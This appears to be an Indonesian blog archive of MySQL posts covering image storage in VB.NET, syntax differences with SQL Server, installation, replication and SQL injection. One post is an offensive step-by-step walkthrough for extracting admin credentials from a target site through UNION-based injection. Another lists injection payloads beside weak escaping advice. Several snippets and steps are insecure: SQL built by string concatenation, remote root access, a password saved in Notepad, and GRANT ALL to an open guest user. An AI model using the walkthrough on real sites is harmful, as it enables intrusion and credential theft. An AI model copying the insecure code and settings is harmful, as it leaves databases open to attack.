Pages

Showing posts with label DBMS. Show all posts
Showing posts with label DBMS. Show all posts

Thursday, 9 August 2012

Simpan Image mySql With File Upload


 Dim img As FileUpload = CType(FileUpload1, FileUpload)
                Dim imgByte As Byte() = Nothing
                If img.HasFile AndAlso Not img.PostedFile Is Nothing Then
                    'To create a PostedFile
                    Dim File As HttpPostedFile = FileUpload1.PostedFile
                    'Create byte Array with file len
                    imgByte = New Byte(File.ContentLength - 1) {}
                    'force the control to load data in array
                    File.InputStream.Read(imgByte, 0, File.ContentLength)
                    cmd.CommandText = "update daftar_siswa  set fotosiswa=@img where id_pendaftaran='" & ASPxTextBox1.Text & "'"
                    cmd.Parameters.AddWithValue("@img", imgByte) : cmd.Connection = con
                    cmd.ExecuteNonQuery()
                End If

Ayo DI coba Brow !00% Berhasil...


Saturday, 30 June 2012

Perbandingan Mysql Dan SQL server


Jika kita sering membuat program database dengan perintah yang kita simpan didalam database seperti stored procedure, function, atau trigger kadang terdapat perbedaan bahasa pemrogramman antara di MySQL dengan SQL Server. Berikut kita akan membahas beberapa perbedaan antara aplikasi database tersebut.
Untuk parameter di dalam SQL Server selalu menggunakan awalan ‘@’, sedangkan pada MySQL kita dapat mengidentifikasikan parameter dengan karakter apapun dan kita bahkan dapat membuat parameter local tanpa mendeklarasikannya terlebih dahulu, yaitu dengan menambahkan karakter “@” pada awalan parameter yang dibuat.

Pada SQL Server kita dapat mengetikan perintah
‘DECLARE v1 [datatype], v2 [datatype], v3 [datatype]’
tetapi pada MySQL kita harus mengetikan perintah
‘DECLARE v1 [datatype]; DECLARE v2 [datatype]; DECLARE v3 [datatype]’

SQL Server tidak perlu mengetikan perintah ‘BEGIN … END’ untuk batasan sebuah Stored Procedure atau Function. Tetapi dalam MySQL kita perlu mengetikan perintah ‘BEGIN … END’ untuk Stored Procedure atau Function yang memiliki lebih dari satu baris perintah.
Contoh:
DELIMITER$$
CREATE PROCEDURE proc1(id int)
BEGIN
[statement 1];
[statement 2];
END$$
DELIMITER;

Pada SQL Server kita tidak perlu mengetikan karakter ‘;’ (titik koma) pada setiap akhir perintah. Tetapi pada MySQL membutuhkan karakter ‘;’ pada setiap akhir perintah, karena MySQL merupakan aplikasi console yang membutuhkan pembatas untuk setiap perintah yang dituliskan menjadi pembatas dengan perintah yang lainnya dalam satu Procedure atau Function.

SQL Server memiliki fungsi ‘SET NOCOUNT’ dan ‘@@ROWCOUNT’ untuk memperoleh jumlah row hasil execute. Sedangkan pada MySQL tidak memiliki perintah untuk ‘SET NOCOUNT’, tetapi memiliki fungsi ‘row_count()’ untuk mendapatkan jumlah row hasil execute dari query delete, insert, atau update, ‘found_rows()’ untuk mendapatakan jumlah row hasil execute dari query select.

SQL Server memiliki perintah perulangan ‘WHILE … BEGIN’. Sedangkan MySQL memiliki perintah perulangan ‘WHILE … DO’.

SQL Server dapat menggunakan perintah ‘SELECT’ atau ‘SET’ untuk mengisi data ke variable.
Contoh:
DECLARE @v1 int, @v2 int
SELECT @v1 = 10, @v2 = 20
Sedangkan MySQL hanya dapat menggunakan perintah ‘SET’ untuk mengisi data ke variable.
Contoh:
DECLARE v1 int;
DECLARE v2 int;
SET v1 = 10;
SET v2 = 20;

Sunday, 24 June 2012

Instalasi Mysql Dengan Apache Server


Sebelum menginstal MySQL pastikan bahwa Apache Server dan PHP sudah terinstal dan berjalan dengan baik.
Klik link berikut ini untuk mendownload MySQLhttp://dev.mysql.com/downloads/mysql/
Ketika mendownload pilih yang Windows MSI Installer versi GA (Generally Available) Release.
Setelah download selesai double klik file tersebut untuk memulai penginstalasian.
Install MySQL-01
Klik Next untuk melanjutkan penginstalasian.
Install MySQL-02
Silahkan dibaca dan disimak surat perjanjian bila anda setuju dengan isi surat perjajian tersebut tanda "I accept the terms in the License Agrement" kemudian klik Next.
Install MySQL-03
Pilih "Custom" untuk tipe penginstalasian.
Install MySQL-04
Klik "Browse" untuk mengubah folder tujuan penginstalasian.
Install MySQL-05
"Look in" tujukan ke C:\Apache, kemudian buat sebuah folder dengan nama "mysql" atau bisa juga langsung mengetikkan "C:\Apache\mysql\" didalam "Folder name" kemudian klik OK.
Install MySQL-06
Setelah kita membuat foldernya maka akan terlihat seperti gambar diatas. Masih ada kesempatan untuh mengubah seandainya masih ada yang kurang tepat, tapi jika semua sudah beres dan anda sudah yakin klik Next.
Install MySQL-07
Klik Install untuk mulai menginstal MySQL. Tunggu hingga proses penginstalasian selesai.
Berikutnya akan muncul 2 jendela tentang MySQL Enterprise klik More untuk mengetahui lebih lanjut atau klik Next untuk melanjutkan penginstalasian.
Install MySQL-08
Tandai Launch the MySQL Instance Configuration Wizard kemudian klik Finish.
Install MySQL-09
Klik Next,
Install MySQL-10
Pilih Detailed Configuration, kemudian Next.
Install MySQL-11.png
Pilih Develover Machine, kemudian Next.
Install MySQL-12
Tandai Multifunctional Database, kemudian Next.
Install MySQL-13
Biarkan saja tanpa perubahan, klik Next.
Install MySQL-14
Pilih Decision Support DSS/OLAP untuk membatasi koneksi, klik Next
Install MySQL-15
Tandai Enable TCP/IP Networking dan Enable Strict Mode, kemudian Next.
Install MySQL-16
Pilih Best Support For Multilingualism, klik Next.
Install MySQL-17
Tandai Install As Windows Service. Untuk Servise Name sesuaikan dengan Versi MySQL anda. Tandai Include Bin Directory In Windows PATH agar kita bisa langsung mengakses MySQL dari Command prompt. Klik Next untuk melanjutkan.
Install MySQL-18
Pilih Modify Security Settings, kemudian isikan password. Password ini adalah yang akan kita gunakan nantinya setiap kali mengakses MySQL, jadi jika anda pelupa sebaiknya tulis pasword tersebut di Notepad dan simpan dengan nama "MySQL password" selanjutnya tandai "Enable root access from remote machine", klik Next.
Install MySQL-19.png
Klik Execute untuk memproses segala pengaturan yang telah kita buat.
Install MySQL-20
Setelah semua berjalan dengan baik maka akan tampil seperti gambar diatas, klik Finish untuk keluar dari penginstalasian.
Untuk mengetahui bahwa MySQL ini sudah bekerja dengan baik buka Command prompt. Klik Start > Run – ketik "cmd" kemudian "Enter" ketik:
mysql -u root -p
Kemudian "Enter" dan masukkan password yang kita masukkan ketika menginstal MySQL dan "Enter". Maka selanjutnya akan tampil seperti berikut ini, berarti MySQL sudah berjalan dengan baik. Sorry nama saya sengaja di coret karena tidak ingin terkenal.
Test MySQL dari CMD
Ketik "\q" untuk keluar dari MySQL dan kemudian "exit" untuk keluar dari Command prompt.
Selanjutnya agar MySQL terhubung dengan Server dan PHP maka kita harus mengedit kembali file konfigurasi.
Buka file pengaturan PHP "C:\Apache\php\php.ini" di bawah Dynamic Extensions cari kedua extension di bawah ini:
;extension=php_mysql.dll ;extension=php_mysqli.dll
Aktifkan kedua extension tersebut dengan cara menghapus titik koma ";" yang berada di depannya:
extension=php_mysql.dll extension=php_mysqli.dll
Simpan file tersebut kemudian Restart Server.
Buka Notepad kemudian salin kode berikut, setelah mengisikan MySQL password anda, simpan file tersebut ke "D:\My Websites" dengan nama "index.php"
<?php $dbServer='localhost'; $dbUser='root'; $dbPass='xxxxx'; //Ganti xxxxx dengan password MySQL anda. $dbName='test'; $link = mysql_connect("$dbServer", "$dbUser", "$dbPass") or die("Koneksi ke server gagal"); print "<h1>Koneksi ke MySQL berhasil!!!</h1>"; mysql_select_db("$dbName") or die("Database tidak ditemukan"); print "<h2>Koneksi ke Database berhasil!!!</h2>"; mysql_close($link); ?>
Kemudian buka browser, di address bar ketikkan "http://localhost/" kemudian "Enter."
Jika bekerja dengan baik maka akan tampil seperti berikut:
MySQL Script Test.png

Cara Mencegah Sql Injection

SQL Injection adalah salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server. Pada dasarnya,serangan ini difasilitasi oleh kode program anda sendiri. teknik nya,penyerang mencoba memasukkan query (melalui field atau URL) yang akan menyebabkan database server men-generate query SQL yang tidak valid.

Pada kenyataan nya,SQL injection terbukti merupakan salah satu teknik terbaik yang sering melumpuhkan sasarannya. Begitu penyerang berhasil menguasai kendali dataase server,ia bisa melakukan apa saja,seperti memodifikasi atau bahkan menghapus semua data yang ada. bagaimana pun juga, ini bisa dicegah jika kode program anda melakukan validasi yang baik.

Sebenarnya apa bila anda teliti,teknik SQL injection sangat sederhana sekali. Akan tetapi justru yang sering diabaikan oleh para programer,entah itu tidak tahu atau lupa.

Berikut ini beberapa contoh teknik SQL injection,implementasi,dan cara menggagalkan nya.

Single SQL Injection
walaupun penyerang awalnya mencoba memasukan query berupa pernyataan SQL,akan tetapi bukan sembarang query. Dalam hal ini,penyerang cukup memiliki pengatahuan mengenai SQL,sebagai contoh permulaan (maklumlah saya masih newbie :P) anda memiliki kode seperti ini.

$match = false;
if (isset($_POST['submit'])) {
$nama = $_POST['nama'];
$pass = $_POST['pass'];
$sql = "SELECT nama, password FROM user WHERE
nama='$nama' AND password='$pass'";
$res = mysqli_query($db, $sql);
// jika res berhasil,dan row yang
// dikembalikan=1, set $match=true
if ($res && mysqli_query_rows($res) == 1) {
$match = true ;
mysqli_free_result($res);
}
if ($match === true) {
echo 'account match';
} else {
echo 'invalid account';
}
}


kode program diatas memang kelihatan melakukan verifikasi data, tetapi sebenarnya sangat rapuh,penyerang bisa menggnakan query-query seperti dibawah ini,untuk melakukan akses secara tidak sah

// mengisi field nama saja,# adalah komentar,
// yang akan mengabaikan baris setelahnya
admin'#

// mengisi nama field saja
// mengekstrak data kelokasi tertentu
'OR' 1=1 INTO DUMPFILE '/path/ke_lokasi/file.txt '#
'OR' 1=1 INTO OUTFILE '/path/ke_lokasi/file.txt '#

Bagaimapun juga,contoh contoh SQL injection diatas adalah contoh yang umum. Adapun untuk mencegah nya menggunakan fungsi mysql_real_escape_string () atau addslashes(), seperti yang diuraikan pada fungsi myMacig()sebelumnya

$nama = myMacig($_POST['nama']};
$pass = myMacig($_POST['pass']};


Multiple SQL injection
Contoh SQL injection lainnya adalah dengan memberikan multiple query,seperti berikut:
// $id dari method GET/POST
$sql = "SELECT * FROM buku WHERE kode='{$id}’ “;
//mengahapus isi table
0; DELETE FROM user
// membuat account baru
0; GRANT ALL ON *.* TO 'xxx@%'
Dalam kasus ini,macig quote akan mengabaikan tanda titik koma,ini sangat membahayakan
jika menggunakan SQLite atau postgreSQL. Adapun solusi nya adalah menggunakan operator casting untuk memastikan bahwa id harus integer.

//Simulasi nilai $_POST['id']
0; DELETE FROM user
$id = (int) myMacig($_POST['id']);

apabila anda ingin memeriksa apakah input mengandung karakter tertentu,gunakan fungsi strpos().

$nama = myMacig ($_POST ['id']);
// periksa apakah karakter ; terdapat
// di variabel $nama.
if (strpos($nama, ';' die ('Naughty Naughty,
Very Naughty...'); 

Mysql Ijection Part 1

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100′ atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)…
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error…
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

============
=step Empat:= <<<<< lewatin ajah... Very Happy
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah “admin”

===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://www.piclist.com/techref/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0×61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0×3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0×3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0×3a,id,username,password),6,7,8+from+admin--

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda…
(me gak bertanggung jawab loh..) Very Happy

Tuesday, 22 May 2012

MENGATASI VIRUS VIRUS WINDOWS MEDIA PLAYER

virus windows media player ini sungguh menjengkelkan tapi setelah cari - cari diinternet ketemu juga cara mengatasinya. buka notepad pada komputer yang belum terjangkit virus windows media player. copy source code dibawah ini

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\.EXE]
@="exefile"
"Content Type"="application/x-msdownload"

[HKEY_CLASSES_ROOT\.EXE\PersistentHandler]
@="{098f2470-bae0-11cd-b579-08002b30bfeb}"

[HKEY_CLASSES_ROOT\exefile]
@="Application"
"EditFlags"=hex:38,07,00,00
"FriendlyTypeName"=hex(2):40,00,25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,\
00,6f,00,6f,00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,\
32,00,5c,00,73,00,68,00,65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,\
00,2c,00,2d,00,31,00,30,00,31,00,35,00,36,00,00,00

[HKEY_CLASSES_ROOT\exefile\DefaultIcon]
@="%1"

[HKEY_CLASSES_ROOT\exefile\shell]

[HKEY_CLASSES_ROOT\exefile\shell\open]
"EditFlags"=hex:00,00,00,00

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%1\" %*"
"IsolatedCommand"="\"%1\" %*"

[HKEY_CLASSES_ROOT\exefile\shell\runas]

[HKEY_CLASSES_ROOT\exefile\shell\runas\command]
@="\"%1\" %*"
"IsolatedCommand"="\"%1\" %*"

[HKEY_CLASSES_ROOT\exefile\shellex]

[HKEY_CLASSES_ROOT\exefile\shellex\DropHandler]
@="{86C86720-42A0-1069-A2E8-08002B30309D}"

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice]


setelah di copy ubah eksitensi file dari notepad.txt menjadi bersih.reg
untuk melihat exsitensinya klik kanan tombol start >> explore >> tools >> folder option >> view >> hilangkan tanda pada hide exstensions for known files and folder.

setelah diubah exstensionnya menjadi bersih.reg copy kekomputer target di my document
klik kiri 2x lalu direstart selamat mencoba semoga bermanfaat.

Wednesday, 14 March 2012

Menyimpan dan Menampilkan Gambar di MySQL

Ternyata masih ada sebagian om2x :D yang masih kesulitan untuk melakukan hal ini, tapi oke lah berhubung udah lama enggax posting kayaxnya enggak salah juga membahas permasalahan yang satu ini.
Dengan asumsi MySQL dan Visual Basic .NET sudah terinstall dengan baik hal selanjutnya yang perlu disiapkan adalah MySQL Connector/Net, disini saya menggunakan versi 6.2.4
Jadi silahkan download kemudian lakukan instalasi.
Selanjutnya kita akan menyiapkan sebuah tabel, misal dengan nama mahasiswa dengan struktur seperti berikut :
1CREATE TABLE mahasiswa (
2    npm VARCHAR(10),
3    nama VARCHAR(50),
4    foto MEDIUMBLOB
5)

Gimana udah selesai ? Klo udah kita lanjutkan dengan membuat project baru kemudian tambahkan referensi MySql.Data (menu Project -> Add Reference…)

Apakah udah cukup ? Belum tambahkan juga namespace (package klo istilah javanya) MySql.Data pada bagian paling atas kode program

Perintah diatas berguna untuk menyingkat penulisan kode program contoh :
1Private conn As New MySql.Data.MySqlClient.MySqlConnection
bisa disingkat menjadi
1Private conn As New MySqlClient.MySqlConnection
Selanjutnya kita akan desain tampilan program seperti gambar dibawah ini

komponen yang yang dibutuhkan 1 buah PictureBox dan 2 buah Button.
Melakukan koneksi
Nah cara yang paling gampang kita tempatkan aja kodenya dibagian constructor
01Private conn As New MySqlClient.MySqlConnection
02Private strSql As String = String.Empty
03 
04Public Sub New()
05 
06    ' This call is required by the Windows Form Designer.
07    InitializeComponent()
08 
09    ' Add any initialization after the InitializeComponent() call.
10 
11    ' kode untuk melakukan koneksi mulai dari sini
12    Dim strConn As String = "server=127.0.0.1;uid=root;pwd=rahasia;database=test"
13    conn.ConnectionString = strConn
14    conn.Open()
15 
16End Sub
Klo kelupaan lokasi constructornya dimana :D , caranya lihat gambar :

Meyimpan gambar
Kodenya sederhana banget, kita lihat cuplikannya
01Private Sub btnSimpan_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSimpan.Click
02    ' untuk contoh disini lokasi gambarnya saya hardcode
03    ' kita bisa kembangkan dengan memanfaatkan komponen OpenFileDialog
04    Dim fileName As String = "E:\Gambar\k4m4r82.jpg"
05 
06    strSql = "INSERT INTO mahasiswa (npm, nama, foto) VALUES (@1, @2, @3)" ' ini perintah insert biasa
07    Using cmd As New MySqlClient.MySqlCommand(strSql, conn)
08        With cmd
09            .Parameters.Clear()
10            .Parameters.AddWithValue("@1", "02.02.4114") ' npm
11            .Parameters.AddWithValue("@2", "Kamarudin") ' nama
12            .Parameters.AddWithValue("@3", IO.File.ReadAllBytes(fileName)) ' foto
13 
14            .ExecuteNonQuery()
15        End With
16    End Using
17 
18    MessageBox.Show("Data sudah disimpan", "Informasi", MessageBoxButtons.OK, MessageBoxIcon.Information)
19End Sub
Menampilkan gambar
01Private Sub btnTampil_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnTampil.Click
02    strSql = "SELECT foto FROM mhs WHERE npm = @1"
03 
04    Using cmd As New MySqlClient.MySqlCommand(strSql, conn)
05        With cmd
06            .Parameters.Clear()
07            .Parameters.AddWithValue("@1", "02.02.4114") ' npm
08 
09            Using dtr As MySqlClient.MySqlDataReader = .ExecuteReader()
10                If dtr.HasRows Then
11                    If dtr.Read() Then
12                        Dim ms As New IO.MemoryStream(CType(dtr.Item("foto"), Byte()))
13                        PictureBox1.Image = Image.FromStream(ms) ' tampilkan gambarnya
14                    End If
15                End If
16            End Using
17        End With
18    End Using
19End Sub

Selamat mencoba :)

Monday, 5 March 2012

Replikasi Mysql 2

Replikasi Database di MySQL


replikasi database
Tulisan ini merupakan dokumentasi sekaligus sebagai reminder  saya dalam melakukan set up replikasi database di MySQL. Sebenarnya set up untuk model replikasi Master-Slave ini ngga terlalu rumit kok. Replikasi pada MySQL memungkinkan kita untuk memiliki copy database dari server utama (master) ke server lainnya/cadangan (slave), dan semua update/perubahan yang terjadi pada server utama akan otomatis secara langsung di replikasi pada server slave. Replikasi berguna jika terjadi kerusakan pada server utama maka effort untuk segera membuat server kembali Up lebih minimal sambil menunggu server utama di perbaiki.
Pada kasus  ini saya melakukan replikasi pada 2 buah server yang di dalamnya terinstall OpenSuse. Server Utama adalah IBM Power PC Intellistation 185 dengan OS Linux Open Suse 11 (for Power PC) dan Server kedua adalah HP ML 350 G4 dengan OS Linux Open Suse 10.2. Secara umum konfigurasinya hampir sama dengan distro lainnya, hanya perbedaan di path saja saya pikir. OK lets get it on.

1. Konfigurasi Master
Pertama kita edit file /etc/my.cnf pada file ini kita definisikan file log yang berfungsi oleh slave untuk melihat apa yang telah berubah pada master dan kita juga harus mendefinisikan bahwa MySQL pada sever utama ini adalah master. Dan kita juga ingin mereplikasi database dengan nama misalnya ehrdatabase maka kita harus menambahkannya ke file /etc/my.cnf

log-bin = /var/log/mysql/mysql-bin.log
binlog-do-db=exampledb
server-id=1
lalu kita restart Mysql
/etc/init.d/mysql restart
Lalu kita log in ke MySQL sebagai root dan membuat user dengan kewenangan melakukan replikasi.

mysql -u root -p
Enter password:

Sekarang kita dalam MySQL shell.
GRANT REPLICATION SLAVE ON *.* TO ’slave_user’@’%’ IDENTIFIED BY ‘<some_password>’; (ganti<some_password> dengan password kita!)
FLUSH PRIVILEGES;


Berikutnya (masih pada shell MySQL) beri perintah:
USE exampledb;
FLUSH TABLES WITH READ LOCK;

SHOW MASTER STATUS;
Perintah terakhir akan menampilkan seperti berikut :
+—————+———-+————–+——————+ | File          | Position | Binlog_do_db | Binlog_ignore_db |
+—————+———-+————–+——————+
| mysql-bin.006 | 183      | ehrdatabase  |                  |
+—————+———-+————–+——————+
1 row in set (0.00 sec)
Catat konfigurasi diatas karena akan digunakan saat mengkonfigurasi server slave. S
kemudian keluar dari shell MySQL :
quit;
Kaena kita ingin melakukan replikasi maka pada slave juga harus memiliki database yang sama seperti pada master, maka dari itu kita dump dulu database yang ada pada master, dengan perintah :
mysqldump -u root -p<password> –opt ehrdatabase > ehrdatabase.sql
Sekarang konfigurasi master telah selesai. Sekarang set up slave ..
2. Konfigurasi Slave
Pada slave pertama kali kita buat database dulu dengan nama yang sama ehrdatabase:
mysql -u root -p
Enter password:
CREATE DATABASE ehrdatabase;
quit;

Kemudian kita import/restore kembali data yang telah kita backup dari master pada slave:
mysql -u root -p<password> ehrdatabase < ehrdatabase.sql
Sekarang kita harus Memberitahu MySQL yang ada pada slave, bahwa alamat IP server master adalah 192.168.1.100 , dan database yang akan di replikasi adalah ehrdatabase, dan database yang akan direplikasi adalah ehrdatabase. Maka dari itu kita tambahkan beberapa baris pada /etc/mysql/my.cnf:
server-id=2
master-host=192.168.1.100
master-user=slave_user
master-password=secret
master-connect-retry=60
replicate-do-db=ehrdatabase
Lalu kita restart MySQL:
/etc/init.d/mysql restart
Terakhir , kita harus melakukan ini :
mysql -u root -p
Enter password:
SLAVE STOP;

Pada perintah berikutnya (masih on the MySQL shell) kita harus menyesuaikannya sesuai data yang ada:
CHANGE MASTER TO MASTER_HOST=’192.168.1.100′, MASTER_USER=’slave_user’, MASTER_PASSWORD=’<some_password>‘, MASTER_LOG_FILE=’mysql-bin.006′, MASTER_LOG_POS=183;
  • MASTER_HOST is the IP address or hostname of the master (in this example it is 192.168.0.100).
  • MASTER_USER is the user we granted replication privileges on the master.
  • MASTER_PASSWORD is the password of MASTER_USER on the master.
  • MASTER_LOG_FILE is the file MySQL gave back when you ran SHOW MASTER STATUS; on the master.
  • MASTER_LOG_POS is the position MySQL gave back when you ran SHOW MASTER STATUS; on the master.
Lalu beri perintah (masih pada shell MySQL) :
START SLAVE;
Begitulah simple bukan,sekarang kapanpun ehrdatabase terupdate di master, semua perubahan akan di replikasi ke database ehrdatabase pada slave. Saatnya di tes.
(pada shell MySQL) :
SHOW SLAVE STATUS\G;
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 192.168.1.100
Master_User: slave_user
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: MASTERMYSQL01-bin.000009
Read_Master_Log_Pos: 4

Relay_Log_File: MASTERMYSQL02-relay-bin.000015
Relay_Log_Pos: 3630
Relay_Master_Log_File: MASTERMYSQL01-bin.000009
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB: ehrdatabase
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 4
Relay_Log_Space: 3630
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 1519187
Untuk melihat jalan tidaknya proses replikasi Parameter Slave_IO_Running and   Slave_SQL_Running: harus YES.

Replikasi Mysql

Cara Replikasi Database Di MySQL

Definisi :
Replication Database adalah suatu fitur teknologi pada dunia pemrograman database yang memungkinkan suatu database untuk mereplikasi atau mengopy datanya ke database lain secara otomatis. Secara sederhana replikasi database adalah proses automatik perintah dari database satu ke database lain yang tentunya terhubung dalam jaringan.
Kegunaan :
Kegunaan dari proses replikasi ini adalah bila suatu database satu mengalami kerusakan maka secara otomatis semua data yang telah disimpan pada database satu dapat dilihat kembali di database lain. Kalau pada pembahasan diatas yaitu Proses Backup dan Restore agak kurang praktis, maka konsep inilah solusi keefektifan dalam menjawab kekurangpraktisan kedua proses diatas. Konsep ini merupakan konsep teknologi yang unik, karena secara otomatis segala perintah yang ada pada database satu akan tersimpan pada database lain sehingga bila kehilangan data pada database satu, database masih tersimpan rapih di database lain.
Praktik Proses Replikasi :
Praktik proses replikasi database ini saya lakukan dengan database MySQL. Pada MySQL sendiri sudah mendukung konsep teknologi Replikasi namun tidak secara default langsung terseting untuk melakukan proses replikasi. Kita mesti menyeting terlebih dahulu agar bisa melakukan proses ini.
Satu hal yang penting saat penyetingan proses Replikasi adalah sudah ada 2 komputer yang terkoneksi / terhubung dan 2 komputer tersebut sudah ter-install MySQL sebagai proses kegiatan database.
Dalam proses replikasi database dikenal 2 server database atau 2 MySQL pada komputer yaitu sebagai Master server dan Slave server. Master server adalah server yang biasa dipergunakan untuk melakukan kegiatan managing database. Sedangkan Slave Server adalah database yang bertindak sebagai pencatat sekaligus pereplikasi / pengopian data setiap melakukan kegiatan managing database pada Master Server. Slave Server memiliki alamat IP 192.168.1.1 sedangkan alamat Master Server memiliki alamat IP 192.168.1.2
Sebelum itu pula kita mesti membuat user pada Server Slave yang dapat diakses oleh siapapun dalam jaringan manapun. Disini kami membuat user dengan nama tamu dan password tamu serta user tamu ini memiliki akses GRANT ALL pada semua database.

[ gambar 1 ]
Bila sudah, mari kita mulai menyeting konfigurasinya :
Pada Komputer Master Server :
Pada komputer Master Server cari file my.ini, biasanya selalu ada pada installan MySQL kita. Kalau pada komputer kami berada pada path C:\Program Files\MySQL\MySQL Server
5.1\my.ini
. Bila sudah ditemukan, coba buka dengan notepad, lalu lihat konfigurasinya.
Lalu ketikan dibawah [mysqld] dengan :
log
log-bin=mysql-log.bin
binlog-do-db=nama_database_replication
server-id=1
Lengkapnya bisa dilihat gambar dibawah ini :

[ gambar2 ]
Pada gambar diatas, dataku adalah nama database yang akan dipergunakan untuk proses replikasi, database yang akan secara otomatis disimpan pada Slave Server. Bila sudah, simpan perubahan tersebut, lalu restart service mysql dengan cara mematikan dan menghidupkan lagi servicenya.

[ gambar3 ]
Bila sudah, masuk ke konsol mysql dengan user root lalu buat user yang akan melakukan proses replikasi. Caranya dengan mengetikan perintah ini :
mysql> grant replication slave on *.* to ‘tamu’@’192.168.1.1’ identified by ‘tamu’;
Bila sudah refresh perubahan user baru dengan perintah :
mysql> flush privileges
Bila sudah merefress, coba lihat status Master dengan cara mengetikan perintah ini :

[ gambar4 ]
Pada gambar, terdapat file log yang berisi perintah-perintah Master Server disimpan, posisi Master Server dan Database yang di replikasi. Sampai sini, sekarang kita setting di Slave Server.

Pada Komputer Slave Server :

Cari file my.ini pada Komputer Slave Server. Sama seperti pada komputer Master Server, file my.ini saya berada pada path C:\Program Files\MySQL\MySQL Server 5.1\my.ini. Bila sudah buka dengan notepad lalu tambahkan dibawah [mysqld] beberapa setingan dibawah ini :
server-id=2
master-host=IP-MASTER SERVER
master-user=user_slave
master-password=passwd_slave
master-connect=60
replicate-do-db=nama_database_replication
Yang terpenting adalah samakan nama database replikasinya dengan setingan pada Master Server dan server-id mesti berbeda valuenya dengan server-id pada setingan di Master Server.
Sesuaikan juga user_slave_server dan passwordnya yang telah kita buat pada langkah diatas.
Lengkapnya bisa dilihat disetingan kami pada gambar dibawah ini:

[ gambar5 ]
